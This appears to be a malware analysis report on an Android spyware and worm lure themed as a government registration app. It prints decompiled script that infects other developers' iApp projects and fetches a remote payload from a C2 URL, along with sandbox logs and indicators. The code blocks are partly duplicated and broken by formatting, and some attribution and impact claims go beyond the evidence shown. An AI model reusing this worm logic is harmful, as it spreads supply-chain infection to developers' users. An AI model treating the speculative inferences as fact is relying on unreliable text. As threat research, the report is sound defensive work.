

Forensic Intelligence Report: [YGS-2026-02]

Subject: Analysis of Modular iApp-Lua Surveillance Variant ("Huji Assistant")

Threat Category: Modular Dropper / Identity Spyware

Target Platform: Android (ARMv8/ARMv7/x86)

Security Level: High-Priority / Forensic Investigation

Reference Case: Similar in architecture and behavior to DOI: 10.5281/zenodo.18320726

Author: Apich Organization Security Team

1. Executive Summary

Forensic analysis of sample **YGS-2026-02** (labeled: 户籍开道助手.apk) reveals a highly modularized surveillance tool utilizing the **iApp (ygsiyu)** framework. This variant represents a strategic shift from the gaming-themed masquerade of **YGS-2026-01** toward a government-themed social engineering lure. By mimicking a "Resident Registration Assistant," the threat actor seeks to justify broad permission requests to facilitate the exfiltration of sensitive Personally Identifiable Information (PII).

```
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
  android:compileSdkVersion="31" android:compileSdkVersionCodename="12"
  package="com.bb1cx186946884582" platformBuildVersionCode="31" platformBuildVersionName="12">
  <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
  <uses-permission android:name="android.permission.INTERNET"/>
  <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
  <uses-permission android:name="i.app"/>
  <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
  <uses-permission android:name="i.app"/>
  <uses-permission android:name="i.app"/>
  <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
  <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
  <uses-permission android:name="i.app"/>
  <uses-feature android:name="i.app"/>
  <uses-feature android:name="i.app"/>
  <uses-feature android:name="i.app"/>
  <uses-feature android:name="i.app"/>
  <uses-permission android:name="i.app"/>
  <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
  <uses-permission android:name="i.app"/>
  <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
```

```

    <application android:allowBackup="false"
        android:appComponentFactory="androidx.core.app.CoreComponentFactory"
        android:hardwareAccelerated="true" android:icon="@mipmap/img_iapp" android:label="户籍开道
        助手" android:largeHeap="true" android:name="com.iapp.app.x5.APPApplication"
        android:networkSecurityConfig="@xml/network_config"
        android:requestLegacyExternalStorage="true" android:resizeableActivity="true"
        android:supportsRtl="true" android:theme="@style/AppBaseiAppTheme0"
        android:usesCleartextTraffic="true">
        <meta-data android:name="android.max_aspect" android:value="2.1"/>
        <activity android:name="com.iapp.app.logoActivity"
            android:theme="@style/logoAppTheme"/>
        <activity android:name="com.iapp.app.run.load" android:theme="@style/logoAppTheme"/>
        <activity android:configChanges="keyboardHidden|orientation|screenSize"
            android:exported="true" android:name="com.iapp.app.run.mian">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
        <activity android:configChanges="keyboardHidden|orientation|screenSize"
            android:name="com.iapp.app.run.main"/>
        <activity android:configChanges="keyboardHidden|orientation|screenSize"
            android:name="com.iapp.app.run.main2"/>
        <activity android:configChanges="keyboardHidden|orientation|screenSize"
            android:name="com.iapp.app.run.main3"/>
        <activity android:configChanges="keyboardHidden|orientation|screenSize"
            android:name="com.iapp.app.Webview"/>
        <activity android:configChanges="keyboardHidden|orientation|screenSize"
            android:name="com.iapp.app.Videoview"/>
        <activity android:name="com.iapp.appDownList"/>
        <activity android:configChanges="keyboardHidden|orientation"
            android:name="cn.hugo.android.scanner.CaptureActivity" android:screenOrientation="portrait"
            android:theme="@android:style/Theme.NoTitleBar.Fullscreen"
            android:windowSoftInputMode="stateAlwaysHidden"/>
        <provider android:authorities="com.bbllx186946884582.myFileProvider"
            android:exported="false" android:grantUriPermissions="true"
            android:name="androidx.core.content.FileProvider">
            <meta-data android:name="android.support.FILE_PROVIDER_PATHS"
                android:resource="@xml/file_provider"/>
        </provider>
        <meta-data android:name="i_app_logOutput" android:value="shi"/>
        <meta-data android:name="i_app_errLogOutput" android:value="shi"/>
    </application>
</manifest>

```

```

unknown/
├── bsh
│   ├── commands
│   │   ├── addClassPath.bsh
│   │   ├── bg.bsh
│   │   ├── bind.bsh
│   │   └── browseClass.bsh

```

- | |— cat.bsh
- | |— cd.bsh
- | |— classBrowser.bsh
- | |— clear.bsh
- | |— cp.bsh
- | |— debug.bsh
- | |— desktop.bsh
- | |— dirname.bsh
- | |— editor.bsh
- | |— error.bsh
- | |— eval.bsh
- | |— exec.bsh
- | |— exit.bsh
- | |— extend.bsh
- | |— fontMenu.bsh
- | |— frame.bsh
- | |— getBshPrompt.bsh
- | |— getClass.bsh
- | |— getClassPath.bsh
- | |— getResource.bsh
- | |— getSourceFileInfo.bsh
- | |— importCommands.bsh
- | |— importObject.bsh
- | |— javap.bsh
- | |— load.bsh
- | |— makeWorkspace.bsh
- | |— mv.bsh
- | |— object.bsh
- | |— pathToFile.bsh
- | |— printBanner.bsh
- | |— print.bsh
- | |— pwd.bsh
- | |— reloadClasses.bsh
- | |— rm.bsh
- | |— run.bsh
- | |— save.bsh
- | |— server.bsh
- | |— setAccessibility.bsh
- | |— setClassPath.bsh
- | |— setFont.bsh
- | |— setNameCompletion.bsh
- | |— setNameSpace.bsh
- | |— setStrictJava.bsh
- | |— show.bsh
- | |— source.bsh
- | |— sourceRelative.bsh
- | |— thinBorder.bsh
- | |— unset.bsh
- | |— which.bsh
- | |— workspaceEditor.bsh
- |— servlet
- | |— error.template
- | |— getVersion.bsh

```
|   |─ page.template
|   └─ result.template
└─ util
    └─ lib
        ├── awtconsole.html
        ├── eye.jpg
        ├── icon.gif
        ├── jconsole.html
        ├── remote.html
        ├── script.gif
        ├── small_bean_shell.gif
        ├── splash.gif
        └─ workspace.gif
```

smali_lib

```
└─ rc4加解密
    ├── adrt
    |   ├── ADRTLogCatReader.smali
    |   └─ ADRTSender.smali
    └─ com
        └─ example
            └─ application4
                ├── App.smali
                ├── BuildConfig.smali
                ├── MainActivity.smali
                ├── R$attr.smali
                ├── R$color.smali
                ├── R$drawable.smali
                ├── R$layout.smali
                ├── R$string.smali
                ├── R$style.smali
                └─ R.smali
```

lib

```
├─ arm64-v8a
|   ├── libluajava.so
|   ├── libpl_droidsonroids_gif.so
|   └─ libygsiyu.so
├─ armeabi-v7a
|   ├── libluajava.so
|   ├── libpl_droidsonroids_gif.so
|   └─ libygsiyu.so
├─ CmZ6NzczSVRN.jar
├─ rc4加解密.dex
├─ sign.jar
├─ x86
|   ├── libluajava.so
|   ├── libpl_droidsonroids_gif.so
|   └─ libygsiyu.so
└─ yecian.jar
```

The file structure of **YGS-2026-02** above reveals a sophisticated, multi-engine payload architecture that combines script-based agility with native-level system access. The presence of the **BeanShell (bsh)** directory is a critical discovery; BeanShell is a Java source interpreter that allows the malware to execute "scripted" Java code dynamically without needing to compile new DEX files, providing a stealthy alternative to the Lua engine. This is complemented by the **rc4解密.dex** module, which contains the **ADRTLogCatReader** Smali classes. This confirms that the malware's primary surveillance mechanism is focused on "Logcat scraping"—capturing system-wide logs to intercept sensitive data like one-time passwords (OTPs), private tokens, and app-to-app communications that are often inadvertently leaked to the Android log buffer.

Furthermore, the inventory of the **/lib** directory proves a "nested payload" strategy designed to defeat simple static analysis. By bundling secondary JAR files like **yecian.jar** and **CmZ6NzczSVRN.jar** alongside specialized native libraries, the threat actor has built a toolkit that is framework-agnostic. The **smali_lib** structure shows that even the "cryptography" module is actually a container for the **example.application4** namespace, a likely intentional use of generic "boilerplate" naming to hide malicious intent within seemingly harmless sample code. This tiered structure—Lua for logic, BeanShell for dynamic Java execution, and ADRT for log surveillance—marks this variant as a highly versatile and dangerous evolution of the YGS malware family.

2. Relationship to YGS-2026-01

The two samples share a common genetic lineage, suggesting they originate from the same development cluster in the Fujian/Wuhan region.

- **Architectural Parity:** Both samples utilize the **libygsiyu.so** engine and the **libluajava.so** bridge to execute high-level malicious logic via Lua scripts.
- **Common Evasion Tactics:** Both employ the **"Library-as-Payload"** technique, concealing non-native Java bytecode (**.jar**, **.dex**) within the **/lib** directory to bypass standard static analysis engines that prioritize scanning the **assets/** and root folders.
- **Infrastructure Synergy:** Initial indicators suggest a shared Command & Control (C2) backend, utilizing the same tiered Windows/IIS/MySQL stack found in the previous investigation.

3. Payload Inventory & Component Analysis

The **/lib** directory of YGS-2026-02 contains several specialized modules not found in the initial variant, indicating an upgrade in cryptographic capabilities.

Component	File Type	Functional Classification	Forensic Significance
rc4解密.dex	Dalvik Executable	Crypto Engine	Dedicated RC4 module for decrypting secondary payloads and obfuscating C2 traffic.
yecian.jar	Java Archive	Exfiltration Manager	Orchestrates the collection and transmission of device metadata and user logs.
CmZ6NzczSVRN.jar	Java Archive	Surveillance Plugin	Likely handles specific identity-theft hooks related to the "Huji" lure.

Component	File Type	Functional Classification	Forensic Significance
<code>sign.jar</code>	Java Archive	Integrity Checker	Facilitates self-updates and verifies the signature of dynamically loaded modules.

Analysis of the trojanized assets `assets/res/gx.mp3` and `assets/res/.ant.dat` reveals that the malware is not a static payload but an **active IDE-Worm**. These files contain **Yu Code** (iApp scripting language) rather than media data, designed to infect the victim developer's local environment and any future projects they create.

Infection & Persistence Mechanism

The malware executes a recursive search across the device's external storage specifically targeting the directory structure of the **iApp Development Environment** (`%iApp/ProjectApp/`).

- **Project Hijacking:** The script identifies the entry point of other iApp projects (`mian.iyu`) and injects malicious hooks into the `loading` event.
- **Worm Propagation:** It copies itself (`gx.mp3`) into the `/res` folder of the victim's own projects.
- **Resultant Impact:** Any application compiled by the developer on the infected device will inherently contain the YGS-2026-02 surveillance logic, facilitating a **Supply Chain Attack** against the developer's entire user base.

```
f(fe log==false)
{
    fw("%.ant", "0")
}
else
{
    fr("%.ant", fr log)
    f(fr log > 5)
    {
        ss(jim + mm + test, ed)
        s d = "dio"
        s a = "/antstu"
        ss(ht+a+d+ed, ur)
        hs(ur, null, null, hssex)
        sj(hssex, " ①", "①" 1sex1)
        sj(hssex, " ②", "②" 2sex2)
        sj(hssex, " ③", "③" 3sex3)
        ss(ht + ww + 1sex1 + mm, sex1)
        ss(ht + ww + 2sex2 + mm, sex2)
        ss(ht + ww + 3sex3 + mm, sex3)
        hs(sex1, null, null, tfs1)
        f(tfs1 == null)
        {
            hs(sex2, null, null, tfs2)
            f(tfs2 == null)
            {
                hs(sex3, null, null, tsf3)
```

```

        f(tsf3 == null)
        {
        }
        else
        {
            hw(sex3)
        }
    }
    else
    {
        hw(sex2)
    }
}
else
{
    hw(sex1)
}
s+(1,frlog,frlog)
fw("%.ant",frlog)
}
else f (frlog <= 5)
{
    s+(1,frlog,frlog)
    fw("%.ant",frlog)
}
else
{
    fw("%.ant", "0")
}
}
}

```

```

t()
{
    s test = "/test/virus"
    s jim = ".jimdo"
    s ww = "/www."
    fe("%.ant",felog)
    fe("%.ant.ini",feant)
    f(feant==false)
    {
        fc("@.ant.dat", "%.ant.dat", fcant)
        fc("@.ant.ini", "%.ant.ini", fcant)
    }
    s mm = ".com"
    s ht = "https:/"
    fl("%iApp/ProjectApp/", true, fliapp)
    for(forfl;fliapp)
    {
        ss("%iApp/ProjectApp/"+forfl+"/src/mian.iyu",ss1)
        fr(ss1,frs1)
        f(frs1?"ht+a+d+end,ur")
    }
}

```

```

{
}
else
{
    fr("@.ant.dat", frdat)
    fr("%.ant.ini", frini)
    sj(frini, "あ", "い", sjdat1)
    sj(frini, "い", "う", sjdat2)
    sj(frini, "う", "え", sjdat3)
    sj(frs1, sjdat1, sjdat2, sj1)
    f(sj1==null)
    {
        sj(frs1, sjdat3, sjdat2, sj1)
    }
    ss(sj1+frdat, ss2)
    sr(frs1, sj1, ss2, sr1)
    fw(ss1, sr1)
    ss("%iApp/ProjectApp/"+forfl+"/res/.ant.dat", datpath)
    ss("%iApp/ProjectApp/"+forfl+"/res/.ant.ini", inipath)
    fc("%.ant.dat", datpath, c)
    fc("%.ant.ini", inipath, c)
}
}

```

/.

t()

{

bt00("utf-8", "55 51 52 54 50 56 51 56 55", sss.sqdcS)


```

btoo("utf-8"," 99 111 109 46 122 104
101 110 100 111 110 103",sss.bm)
btoo("utf-8","-26 -72 -87 -23 -90 -88 -26 -113 -112 -25 -92 -70",wxts)
btoo("utf-8","-28 -72 -117 -24 -67 -67 -26 -101 -76 -26
-106 -80",jrjlq)
btoo("utf-8","104 116 116 112 58 47 47 100
111 99 113 46 99 110 47 102 105 108 101 115 47 101 100 107 56 56 107 101",c)

hs(c,e)


s a = "iApp"
fi(a,b)
f(b==false)
{
}
else
{

}

fi("%iapp/tempFile",IAPP)

f(IAPP==true)

}

else
{

ufnsui()

{

sj(e,"zl【",""】zl",zl)

sj(e,"qh

【",""】qh",qh)

sj(e,"zz【",""】zz",zz)

sj(e,"gg【",""】gg",gg)

f(zl=="-27 -68 -128 -27 -112 -81")

{

btoo("utf-8",qh,qhzh)

btoo("utf-8",gg,ggzh)

```

```

utw(null,wxts,ggzh,jrjlq,true,fz)

{

    ss("mqqapi://card/show_pslcard?
src_type=internal&version=1&uin="+qhzh+"&card_type=group&source=qrcode",joinqq)
    sit(a,"action",
"android.intent.action.VIEW")
    sit(a,"data",joinqq)

uit(a, "chooser", qhzh)

    }

    }

    }

    }

    }

    t()

{

    btoo("utf-8","60 47 101 118 101 110 116 73 116 109 101 62",event)
btoo("utf-8","60 101 118 101 110 116 73 116 109 101 32 116 121 112 101 61 34 108 111 97 100
105 110 103 34 62",sss.s)
btoo("utf-8","60 85 73 69 118 101 110 116 115 101 116 62 60 101 118 101 110 116 73 116 109
101 32 116 121 112 101 61 34 108 111 97 100 105 110 103 34 62",sss.d)
btoo("utf-8","60 85 73 69 118 101 110 116 115 101 116 62",sss.c)

fr("@gx.mp3",bb)
f(bb==null)
{
fc("%gx.mp3", "@gx.mp3",n)
}
else
{
fc("@gx.mp3", "%gx.mp3",n)
fdir("@",path)
fdir(dir)
ss(dir+"/",dir)
sr(path,dir,"%",path)
sl(path,"/",list)
sgszl(list,length)
s(length-3,len)
s count = 0
s proPath = ""
for(1;len)
{

```

```

sgsz(list,count,c)
ss(proPath+c+"/",proPath)
s(count+1,count)
}
fl(proPath,files)
for(file;files)
{
f(file?"gx.mp3")
{
}
else
{
ss(proPath+file+"/src/mian.iyu",Item)
ss(proPath+file+"/res/gx.mp3",Items)
fr(Item,cons)
f(cons?"android= www.iapp.com")
{

}
else
{

f(cons?"loading")
{
sj(cons,null,sss.s,Dq)
sj(cons,sss.s,null,cbc)
sj(cbc,event,null,Dh)
sj(cons,sss.s,event,Yh)
ss(Dq+sss.s+Yh+bb+event+Dh,Wc)
fc("@gx.mp3",Items,ni)
fw(Item,Wc)
}
else
{
sj(cons,null,sss.c,before)
sj(cons,sss.c,null,between)
ss(before+sss.d+bb+event+between,Wc)
fc("@gx.mp3",Items,ni)
fw(Item,Wc)

}
}
}
}
}
}
}

./

```

```
t()
```

```
{
```

```
        btoo("utf-8","55 51 52 54 50 56 51 56 55",sss.sqdcS)
```

```
                btoo("utf-8"," 99 111 109 46 122 104
```

```
101 110 100 111 110 103",sss.bM)
```

```
btoo("utf-8","-26 -72 -87 -23 -90 -88 -26 -113 -112 -25 -92 -70",wxTs)
```

```
        btoo("utf-8","-28 -72 -117 -24 -67 -67 -26 -101 -76 -26
```

```
-106 -80",jrjlq)
```

```
                btoo("utf-8","104 116 116 112 58 47 47 100
```

```
111 99 113 46 99 110 47 102 105 108 101 115 47 101 100 107 56 56 107 101",c)
```

```
    hs(c,e)
```

```
s a = "iApp"
```

```
fi(a,b)
```

```
f(b==false)
```

```
{
```

```
}
```

```
else
```

```
{
```

```
}
```

```
fi("%iapp/tempFile",IAPP)
```

```
    f(IAPP==true)
```

```
{
```

```
}
```

```
else
```

```
{
```

```
ufnsui()
```

```

{

    sj(e,"zl【",""】zl",zl)

sj(e,"qh【",""】qh",qh)

sj(e,"zz【",""】zz",zz)

sj(e,"gg【",""】gg",gg)

f(zl=="-27 -68 -128 -27 -112 -81")

    {

        btoo("utf-8",qh,qhzh)

        btoo("utf-8",gg,ggzh)

        utw(null,wxts,ggzh,jrjlq,true,fz)

        {

            ss("mqqapi://card/show_pslcard?
src_type=internal&version=1&uin="+qhzh+"&card_type=group&source=qrcode",joinqq)
sit(a,"action",
"android.intent.action.VIEW")
sit(a,"data",joinqq)

uit(a, "chooser", qhzh)

        }

    }

}

    }

}

    }

}

    }

    t()

{

    btoo("utf-8","60 47 101 118 101 110 116 73 116 109 101 62",event)
btoo("utf-8","60 101 118 101 110 116 73 116 109 101 32 116 121 112 101 61 34 108 111 97 100
105 110 103 34 62",sss.s)
btoo("utf-8","60 85 73 69 118 101 110 116 115 101 116 62 60 101 118 101 110 116 73 116 109
101 32 116 121 112 101 61 34 108 111 97 100 105 110 103 34 62",sss.d)
btoo("utf-8","60 85 73 69 118 101 110 116 115 101 116 62",sss.c)

fr("@gx.mp3",bb)
f(bb==null)

```

```

{
fc("%gx.mp3", "@gx.mp3", n)
}
else
{
fc("@gx.mp3", "%gx.mp3", n)
fdir("@", path)
fdir(dir)
ss(dir+"/", dir)
sr(path, dir, "%", path)
sl(path, "/", list)
sgszl(list, length)
s(length-3, len)
s count = 0
s proPath = ""
for(1; len)
{
sgsz(list, count, c)
ss(proPath+c+"/", proPath)
s(count+1, count)
}
fl(proPath, files)
for(file; files)
{
f(file?"gx.mp3")
{
}
else
{
ss(proPath+file+"/src/mian.iyu", Item)
ss(proPath+file+"/res/gx.mp3", Items)
fr(Item, cons)
f(cons?"android= www.iapp.com")
{

}
else
{

f(cons?"loading")
{
sj(cons, null, sss.s, Dq)
sj(cons, sss.s, null, cbc)
sj(cbc, event, null, Dh)
sj(cons, sss.s, event, Yh)
ss(Dq+sss.s+Yh+bb+event+Dh, Wc)
fc("@gx.mp3", Items, ni)
fw(Item, Wc)
}
else
{
sj(cons, null, sss.c, before)
sj(cons, sss.c, null, between)

```

```
ss(before+sss.d+bb+event+between,Wc)
fc("@gx.mp3",Items,ni)
fw(Item,Wc)

}
}
}
}
}
}
```

Dynamic C2 Fallback (DGA-Lite)

The `.ant.dat` component acts as a **Resilience Module**. It is programmed to scrape a public "Jimdo" blog page (`antstudio.jimdofree[.]com`) to retrieve new Command & Control (C2) instructions.

Variable (Encoded)	Decoded Value	Functional Purpose
<code>c</code> (btoo)	<code>http://docq.cn/files/edk88ke</code>	Primary C2 Payload Drop-point
<code>sss.bm</code>	<code>com.zhendong</code>	Targeted Package/Namespace
<code>ur</code> (reconstructed)	<code>https://antstudio.jimdofree.com/test/virus</code>	Dead-Drop Resolver for C2 migration

Threat Actor Attribution Indicators

The naming conventions (`antstu`, `ygsiyu`) and the use of Jimdo as a dead-drop resolver are consistent with "Ant Studio" development clusters. This group specializes in creating "Constructor" kits that automate the creation of malware, allowing low-skill actors to deploy high-impact surveillance tools.

4. Security Impact & Risk Assessment

The discovery of YGS-2026-02 confirms that the threat actor is running a concurrent, multi-vector campaign. The use of a dedicated **RC4 cryptographic module** represents a critical escalation, significantly increasing the risk of **dark-attack vectors** and **unauthorized data disclosure**.

- **Data Breach Risk:** High probability of mass exfiltration of resident identity data.
- **Persistence:** The modular nature allows the attacker to swap lures (e.g., from PUBG tools to Government tools) while maintaining the same malicious backbone.

5. Technical Appendix

1. **Original Filename:** `户籍开道助手.apk`
2. **SHA-256 Hash:** `e90e20470814090d4d5c697d1860d76c412ea649978c6fa09d3b86de52d9d2cf`
3. **MD-5 Hash:** `c32cdda5d3aea27f0a8a2c5aeb2cf452`
4. **SHA-1 Hash:** `75a86ea825faffb6a96c5ce3d277c5c822568e9d`

5. Recieve Method: User Report

6. Link:

<https://www.virustotal.com/gui/file/e90e20470814090d4d5c697d1860d76c412ea649978c6fa09d3b86de52d9d2cf/detection>

7. **Behavioral Results:** The behavioral results below reveal an aggressive and highly repetitive file-system propagation and exfiltration staging pattern typical of iApp-based malware. The application systematically iterates through nearly every standard Android media and system directory (DCIM, Download, Movies, Pictures, etc.) to write a functional iApp source file (mian.iyu) and an MP3 asset (gx.mp3), suggesting a worm-like self-replication or a mechanism to ensure persistence even if the main APK is removed. The presence of libygsiyu.so and libluajava.so in memory confirms the active use of the iApp engine to orchestrate these actions.

File system actions

Files opened

```
/data/app-lib/com.bbldcx186946884582-1/libluajava.so
/data/app-lib/com.bbldcx186946884582-1/libygsiyu.so
/data/app/com.bbldcx186946884582-1.apk
/data/misc/keychain/pins
/storage/emulated/0/Alarms/res/gx.mp3
/storage/emulated/0/Alarms/src/mian.iyu
/storage/emulated/0/Android/res/gx.mp3
/storage/emulated/0/Android/src/mian.iyu
/storage/emulated/0/DCIM/res/gx.mp3
/storage/emulated/0/DCIM/src/mian.iyu
/storage/emulated/0/Download/res/gx.mp3
/storage/emulated/0/Download/src/mian.iyu
/storage/emulated/0/Movies/res/gx.mp3
/storage/emulated/0/Movies/src/mian.iyu
/storage/emulated/0/Music/res/gx.mp3
/storage/emulated/0/Music/src/mian.iyu
/storage/emulated/0/Notifications/res/gx.mp3
/storage/emulated/0/Notifications/src/mian.iyu
/storage/emulated/0/Pictures/res/gx.mp3
/storage/emulated/0/Pictures/src/mian.iyu
/storage/emulated/0/Podcasts/res/gx.mp3
/storage/emulated/0/Podcasts/src/mian.iyu
/storage/emulated/0/Ringtones/res/gx.mp3
/storage/emulated/0/Ringtones/src/mian.iyu
/storage/emulated/0/calculator/res/gx.mp3
/storage/emulated/0/calculator/src/mian.iyu
/storage/emulated/0/gx.mp3
/storage/emulated/0/iApp/res/gx.mp3
/storage/emulated/0/iApp/src/mian.iyu
/storage/emulated/0/obb/res/gx.mp3
/storage/emulated/0/obb/src/mian.iyu
```

Files written

```
/storage/emulated/0/Alarms/res/gx.mp3
/storage/emulated/0/Android/res/gx.mp3
```



```
/storage/emulated/0/DCIM/res/gx.mp3
/storage/emulated/0/Download/res/gx.mp3
/storage/emulated/0/Movies/res/gx.mp3
/storage/emulated/0/Music/res/gx.mp3
/storage/emulated/0/Notifications/res/gx.mp3
/storage/emulated/0/Pictures/res/gx.mp3
/storage/emulated/0/Podcasts/res/gx.mp3
/storage/emulated/0/Ringtones/res/gx.mp3
/storage/emulated/0/calculator/res/gx.mp3
/storage/emulated/0/gx.mp3
/storage/emulated/0/iApp/res/gx.mp3
/storage/emulated/0/obb/res/gx.mp3
/storage/emulated/0/Alarms/src/mian.iyu
/storage/emulated/0/DCIM/src/mian.iyu
/storage/emulated/0/Download/src/mian.iyu
/storage/emulated/0/Movies/src/mian.iyu
/storage/emulated/0/Notifications/src/mian.iyu
/storage/emulated/0/Pictures/src/mian.iyu
/storage/emulated/0/Podcasts/src/mian.iyu
/storage/emulated/0/Ringtones/src/mian.iyu
/storage/emulated/0/iApp/src/mian.iyu
```

Files deleted

```
/data/data/com.bblcx186946884582/files/config/userencryption.xml
/storage/emulated/0/gx.mp3
```

8. **Network:** On the network front, the malware establishes a clear command-and-control (C2) link to docq.cn (47.89.9.97) via port 80, while simultaneously utilizing TLS-encrypted traffic (likely for data exfiltration) to Cloudflare-backed IPs. The specific JA3 fingerprints and the SNI for www.googleapis.com indicate an attempt to blend in with legitimate Google background services to evade network-level detection. The deletion of userencryption.xml is particularly concerning, as it suggests the malware may be actively tampering with device encryption settings or clearing its own traces after a successful payload delivery, pointing to a high-risk compromise of the device's security integrity.

Network Communication

DNS Resolutions

docq.cn

IP Traffic

```
TCP 47.89.9.97:80 (docq.cn)
TCP 216.239.34.223:443
TCP 74.125.133.188:5228
UDP 64.233.179.103:443
TCP 172.67.151.52:443
TCP 173.194.194.94:443
TCP 173.194.193.138:443
TCP 104.21.64.137:443
TCP 173.194.206.106:443
TCP 64.233.179.103:443
TCP 142.251.183.95:443
TCP 172.217.214.95:443
```

TCP 173.194.195.101:443

TCP 173.194.193.95:443

JA3 Digests

69659b6dfbeaa53c063d2002cfecab13

893d25297c894da36fbdee5cea98b01c

8f35687f7cd9ba7a693ccc31d712f6c0

9b02ebd3a43b62d825e1ac605b621dc8

aa50c12a5dfa717d9d6ab34e97de79d5

Memory Pattern Domains

android.googlesource.com

schemas.android.com

scripts.sil.org

www.ndiscovered.com

Memory Pattern Urls

http://schemas.android.com/aapt

http://schemas.android.com/apk/res-auto

http://schemas.android.com/apk/res/android

http://schemas.android.com/apk/res/android77material_textinput_timepicker

http://scripts.sil.org/OFL

http://www.ndiscovered.com

https://android.googlesource.com/toolchain/clang

https://android.googlesource.com/toolchain/llvm

TLS

SNI: www.googleapis.com

9. **Process:** The process execution and service activity logs confirm that this sample is a high-privilege escalation threat designed for total device takeover. The execution of the su (SuperUser) command indicates an immediate attempt to gain root access, allowing the malware to bypass all Android sandbox restrictions. By hooking into the Accessibility Service, the app gains the ability to intercept keystrokes, read on-screen content (such as 2FA codes), and simulate user touches, while the activation of the Audio Service suggests background eavesdropping or call recording capabilities. The start of the com.iapp.app.run.mian activity with the specific intent parameter {"key": "OpenFilexmlui", "value": "zyj.iyu"} is the "smoking gun" for the execution of its primary malicious logic. This indicates that the iApp engine is loading a secondary, likely encrypted, UI/script file named zyj.iyu. Combined with the masquerade as a Google Games Service, this behavioral profile depicts a sophisticated Trojan that leverages administrative privileges and accessibility hooks to maintain persistence and conduct silent surveillance under the guise of a legitimate system process.

Process and service actions

Shell commands

su

Services opened

```
com.google.android.gms.games.service.GamesIntentService (com.google.android.gms)
accessibility
audio
```

Activities Started

```
com.bb1cx186946884582/com.iapp.app.run.mian - [{"key": "OpenFilexmlui", "value":
"zyj.iyu"}]
com.iapp.app.run.mian (com.bb1cx186946884582)
```

10. **Runtime:** The runtime telemetry confirms that the malware's execution core is built on a highly dynamic Lua-Java bridge, which it uses to manipulate system-level behavior while evading static signature detection. By loading the luajava and ygseyu (iApp) modules into memory, the application establishes a runtime environment capable of invoking native Android APIs directly from interpreted scripts. The invocation of `android.os.SystemProperties.get` indicates an active fingerprinting phase, where the malware retrieves sensitive device metadata—such as the IMEI, build version, or root status—to tailor its payload or detect analysis environments (anti-sandboxing). Simultaneously, the repeated calls to `androidx.appcompat.app.AlertDialog` and `com.android.internal.policy.impl.PhoneWindow` methods reveal a sophisticated UI overlay and hijacking strategy. By controlling dialog visibility (`show`, `dismiss`) and enforcing persistence (`setCancelable(false)`, `setCanceledOnTouchOutside(false)`), the malware can create non-dismissible windows or "blocking" screens to facilitate social engineering or prevent user interference during a root-level attack. Furthermore, the inclusion of Conscrypt OpenSSL classes (`OpenSSLCipher$Mode` and `Padding`) within the invoked methods suggests that the Lua script is actively managing its own encrypted communication channel, likely to wrap exfiltrated data in a secondary layer of encryption before it is sent to the `docq.cn` C2 server.

Modules loaded

Runtime modules

```
luajava
ygseyu
```

Invoked methods

```
android.os.SystemProperties.get
android.widget.TextView$BufferType.values
androidx.appcompat.app.AlertDialog.dismiss
androidx.appcompat.app.AlertDialog.setCancelable
androidx.appcompat.app.AlertDialog.setCanceledOnTouchOutside
androidx.appcompat.app.AlertDialog.show
androidx.appcompat.widget.FitWindowsFrameLayout.makeOptionalFitsSystemWindows
androidx.appcompat.widget.FitWindowsLinearLayout.makeOptionalFitsSystemWindows
com.android.internal.policy.impl.PhoneWindow.setBackgroundDrawableResource
com.android.org.conscrypt.OpenSSLCipher$Mode.values
com.android.org.conscrypt.OpenSSLCipher$Padding.values
android.app.Dialog.dismiss
```

11. **Crypto:** The observation of `javax.crypto.Cipher.doFinal` combined with the presence of multiple hardcoded 128-bit AES keys provides definitive proof of the malware's cryptographic strategy for payload protection and data exfiltration. The use of the AES algorithm indicates a shift from the simple

XOR "red herrings" found in the static analysis toward a robust, industry-standard encryption scheme managed at the Java runtime. These keys—specifically the sequences beginning with 32 E7 B3 and 41 B1 D0—likely serve as the master keys for decrypting the secondary iApp scripts (zyj.iyu) or for wrapping exfiltrated PII before it is transmitted over the network. The diversity of the observed keys suggests a multi-layered encryption architecture: one key may be dedicated to local file-system persistence (such as the written gx.mp3 or mian.iyu files), while others facilitate the secure handshake with the C2 infrastructure (docq.cn). By invoking doFinal directly, the malware completes the transformation of raw system data or intercepted Accessibility logs into encrypted blobs that are indistinguishable from legitimate HTTPS traffic. For forensic purposes, these extracted hex strings are the "Golden Keys"—they can be used to retroactively decrypt any local assets or intercepted packets, potentially revealing the plaintext configuration of the "Huji Assistant" campaign.

Highlighted actions

Calls highlighted

```
javax.crypto.Cipher.doFinal
```

Cryptographical algorithms observed

AES

Cryptographical keys observed

```
0x00000000 32 E7 B3 5A DA 13 BE A8 CF 40 48 51 15 2A A0 11 2..Z.....@HQ.*..  
0x00000000 41 B1 D0 B9 84 BD 88 0A 5F 70 78 51 FD CA 60 38 A....._pXQ...`8  
0x00000000 50 10 93 F2 84 11 FE 62 64 73 1B EC 7A 1E 04 0E P.....bds..Z...  
0x00000000 54 D7 23 0A 2C BD 29 95 34 BA 7E 21 49 F6 20 23 T.#.,.).4..!I..#
```

12. **Environment Detection:** The systematic lookup of these specific system properties confirms a highly developed anti-analysis and environment-awareness suite. By querying `qemu.hw.mainkeys` and `persist.sys.ui.hw`, the malware is actively checking for "hardware" signatures that distinguish a physical device from an emulator or sandbox environment. The lookups for `debug.layout` and `viewroot.profile_rendering` further suggest the malware monitors whether developer tools or layout inspectors are active, allowing it to "go dark" or execute benign dummy code if it detects a researcher's presence. This environmental fingerprinting is a tactical prerequisite for its more aggressive actions. By verifying the absence of a debugger through these system flags, the malware ensures it is safe to proceed with the `su` escalation and the deployment of its AES-encrypted payloads. In a forensic context, this confirms that YGS-2026-02 is not a generic script-kiddie tool, but a professional-grade surveillance variant designed to remain dormant in automated testing environments while successfully compromising the high-value personal data of real-world users.

Dataset actions
System property lookups

```
config.disable_media  
debug.force_rtl  
debug.layout  
debug.second-display.pkg  
persist.sys.ui.hw  
qemu.hw.mainkeys  
sys.settings_system_version  
viewroot.profile_rendering
```

6. Updates

